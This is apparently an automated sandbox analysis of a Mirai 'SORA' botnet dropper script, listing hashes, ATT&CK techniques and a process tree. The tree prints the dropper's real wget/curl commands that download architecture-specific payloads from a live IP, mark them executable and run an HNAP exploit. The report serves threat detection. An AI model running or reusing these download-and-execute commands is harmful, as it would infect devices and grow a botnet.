mirai | 73e4a86bb7a5969fc3ee995b34dec87af69f4083efac0828a9d4b89f25ffed6e

Analysis

max time kernel
150s
max time network
154s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
20-02-2025 16:26

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General

Target

hnap.sh
Size

2KB
MD5

76c625416800cf3073f832c6fdb90dfe
SHA1

1d9e582097338454f484559f64b639795e0aa51e
SHA256

73e4a86bb7a5969fc3ee995b34dec87af69f4083efac0828a9d4b89f25ffed6e
SHA512

9a8edf9a9d1ca1b67dd72b3e304a30bf585b450ec1386b5bd84438f7c22adecfd1e095d3d9b7dfa800cbf783fe8589047e0d6a7ea19d1f65cbdd03e20824766d

Score

10^/10

mirai sora botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

SORA

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (33784) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
831	chmod
836	chmod
732	chmod
752	chmod
769	chmod
787	chmod
810	chmod
825	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/robben	734	hnap.sh
/tmp/robben	753	hnap.sh
/tmp/robben	770	hnap.sh
/tmp/robben	789	hnap.sh
/tmp/robben	812	hnap.sh
/tmp/robben	826	hnap.sh
/tmp/robben	832	hnap.sh
/tmp/robben	837	hnap.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	robben
File opened for modification	/dev/misc/watchdog	robben

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-1.dat	upx
behavioral3/files/fstream-4.dat	upx
behavioral3/files/fstream-5.dat	upx
behavioral3/files/fstream-7.dat	upx
behavioral3/files/fstream-8.dat	upx

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	mieoa4ipnf2	753	robben

Reads runtime system information 40 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/712/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/843/exe	robben
File opened for reading	/proc/408/exe	robben
File opened for reading	/proc/709/exe	robben
File opened for reading	/proc/711/exe	robben
File opened for reading	/proc/767/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/772/exe	robben
File opened for reading	/proc/803/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/754/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/807/exe	robben
File opened for reading	/proc/829/exe	robben
File opened for reading	/proc/866/exe	robben
File opened for reading	/proc/473/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/828/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/705/exe	robben
File opened for reading	/proc/833/exe	robben
File opened for reading	/proc/844/exe	robben
File opened for reading	/proc/480/exe	robben
File opened for reading	/proc/508/exe	robben
File opened for reading	/proc/510/exe	robben
File opened for reading	/proc/691/exe	robben
File opened for reading	/proc/717/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/821/exe	robben
File opened for reading	/proc/854/exe	robben
File opened for reading	/proc/757/exe	robben
File opened for reading	/proc/710/exe	robben
File opened for reading	/proc/720/exe	robben
File opened for reading	/proc/770/exe	robben
File opened for reading	/proc/831/exe	robben
File opened for reading	/proc/834/exe	robben
File opened for reading	/proc/837/exe	robben

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
749	wget
750	curl
751	cat

Writes file to tmp directory 17 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sora.mpsl	wget
File opened for modification	/tmp/sora.mpsl	curl
File opened for modification	/tmp/sora.x86	curl
File opened for modification	/tmp/sora.x86_64	wget
File opened for modification	/tmp/sora.x86_64	curl
File opened for modification	/tmp/sora.arm6	wget
File opened for modification	/tmp/sora.arm6	curl
File opened for modification	/tmp/sora.arm5	wget
File opened for modification	/tmp/robben	hnap.sh
File opened for modification	/tmp/sora.mips	wget
File opened for modification	/tmp/sora.mips	curl
File opened for modification	/tmp/sora.i686	wget
File opened for modification	/tmp/sora.i686	curl
File opened for modification	/tmp/sora.x86	wget
File opened for modification	/tmp/sora.i468	curl
File opened for modification	/tmp/sora.arm4	curl
File opened for modification	/tmp/sora.arm5	curl

/tmp/hnap.sh
/tmp/hnap.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:712
- /usr/bin/wget
  wget http://176.65.137.13/bins/sora.x86
  2⤵
  - Writes file to tmp directory
  PID:716
- /usr/bin/curl
  curl -O http://176.65.137.13/bins/sora.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/cat
  cat sora.x86
  2⤵
  PID:730
- /bin/chmod
  chmod +x hnap.sh robben sora.x86
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  PID:734
- /usr/bin/wget
  wget http://176.65.137.13/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:749
- /usr/bin/curl
  curl -O http://176.65.137.13/bins/sora.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:750
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:751
- /bin/chmod
  chmod +x hnap.sh robben sora.mips sora.x86
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:753
- /usr/bin/wget
  wget http://176.65.137.13/bins/sora.x86_64
  2⤵
  - Writes file to tmp directory
  PID:760
- /usr/bin/curl
  curl -O http://176.65.137.13/bins/sora.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:768
- /bin/chmod
  chmod +x hnap.sh robben sora.mips sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  PID:770
- /usr/bin/wget
  wget http://176.65.137.13/bins/sora.i468
  2⤵
  PID:773
- /usr/bin/curl
  curl -O http://176.65.137.13/bins/sora.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:777
- /bin/cat
  cat sora.i468
  2⤵
  PID:786
- /bin/chmod
  chmod +x hnap.sh robben sora.i468 sora.mips sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  PID:789
- /usr/bin/wget
  wget http://176.65.137.13/bins/sora.i686
  2⤵
  - Writes file to tmp directory
  PID:791
- /usr/bin/curl
  curl -O http://176.65.137.13/bins/sora.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:796
- /bin/cat
  cat sora.i686
  2⤵
  PID:808
- /bin/chmod
  chmod +x hnap.sh robben sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  PID:812
- /usr/bin/wget
  wget http://176.65.137.13/bins/sora.mpsl
  2⤵
  - Writes file to tmp directory
  PID:815
- /usr/bin/curl
  curl -O http://176.65.137.13/bins/sora.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:819
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:824
- /bin/chmod
  chmod +x hnap.sh robben sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  PID:826
- /usr/bin/wget
  wget http://176.65.137.13/bins/sora.arm4
  2⤵
  PID:828
- /usr/bin/curl
  curl -O http://176.65.137.13/bins/sora.arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:829
- /bin/cat
  cat sora.arm4
  2⤵
  PID:830
- /bin/chmod
  chmod +x hnap.sh robben sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  PID:832
- /usr/bin/wget
  wget http://176.65.137.13/bins/sora.arm5
  2⤵
  - Writes file to tmp directory
  PID:833
- /usr/bin/curl
  curl -O http://176.65.137.13/bins/sora.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/cat
  cat sora.arm5
  2⤵
  PID:835
- /bin/chmod
  chmod +x hnap.sh robben sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  PID:837
- /usr/bin/wget
  wget http://176.65.137.13/bins/sora.arm6
  2⤵
  - Writes file to tmp directory
  PID:839
- /usr/bin/curl
  curl -O http://176.65.137.13/bins/sora.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:843

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/robben

Filesize
28KB

MD5
fa9b6c7c37b9749884b432b1cfcd447c

SHA1
1ddf712db6bf2948950b7fd884766a1a5d2b4294

SHA256
4a18c7f6e74bc6f4a20f948c8b0555f4688c80740a5eb9d3388fc8930ac65432

SHA512
2f8f653f60de4a0562e524fb9993175a46b946e1fe476f3e180558baa0462f5725549c6587ad1b264df98cee8438adfab8bab7014ef423ff7a554ee59e9ef806

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/tmp/robben

Filesize
28KB

MD5
ce88468dfdee071a7a62485b512c56a1

SHA1
8a1c6f3d1024b98faba6b58072972e72936add17

SHA256
9a720166ffa4e73959c5cb54af0b5637ad17cb1ac768f7a66939a07e9f0e28db

SHA512
91eb34165af402c57d25c7c958605e03f680f271187174a0ab2e891c0c31322808e484a1c98b4bd6c924d68493b9d99f36474e45c4b29b5959530f79382c3d8c

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/tmp/robben

Filesize
212B

MD5
83ab6cd9a67528bbc6f4f360cb7f8d83

SHA1
07e8f17209e0569aab39f062568ff0090d9b20d4

SHA256
3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435

SHA512
171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f

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/tmp/robben

Filesize
28KB

MD5
a70636d57e9deea3ce72e6e0212965f0

SHA1
4761f53ca4d1ba6f193adbb9c460acc6c8b14d38

SHA256
86103ccdb8e57a2c6a9be1828561fbf4f07adc21e432f8e21ebcc10eebb0281c

SHA512
e9b69afa60a19d13f7780428eea5b071328301282b3f589787078d45a6b79f53d9b8c8ae39a611564fa62b726c987851a6f1a2ef45e633039a53f9c07de6357b

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/tmp/robben

Filesize
29KB

MD5
3d17ce5028fb74356e38f9977026d323

SHA1
5f705b4cdc1cfd34d66a50b878fc55a28d910e76

SHA256
f2e98767c660fad2244e5b18844532932482019ef71f7577f3fb441f5720b710

SHA512
cec4a19eee1993dc1f2abb46f1041670e9ec04f7c855dc172580d27eb4642bfc3916c7512d3ee785f3b2de777bca6530f8ee01ecf06906cd9b86baa128c70fb0

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/tmp/sora.x86

Filesize
27KB

MD5
c0c367bd815a1550281a34845445dcb3

SHA1
cdaeafd335143dd8c3584c0ba8362c6281b38786

SHA256
438747b91b304a609ccd2b5a7502fea1e20b6beabdb035834f335825b182644e

SHA512
60adf781185e829c222bd0570193cfa157bf622323404bb629692a9b18da9e73c8d59fd2305c96172f374fdab20dceadae45ac4137d6ae6e3fc6861ae8a24ead

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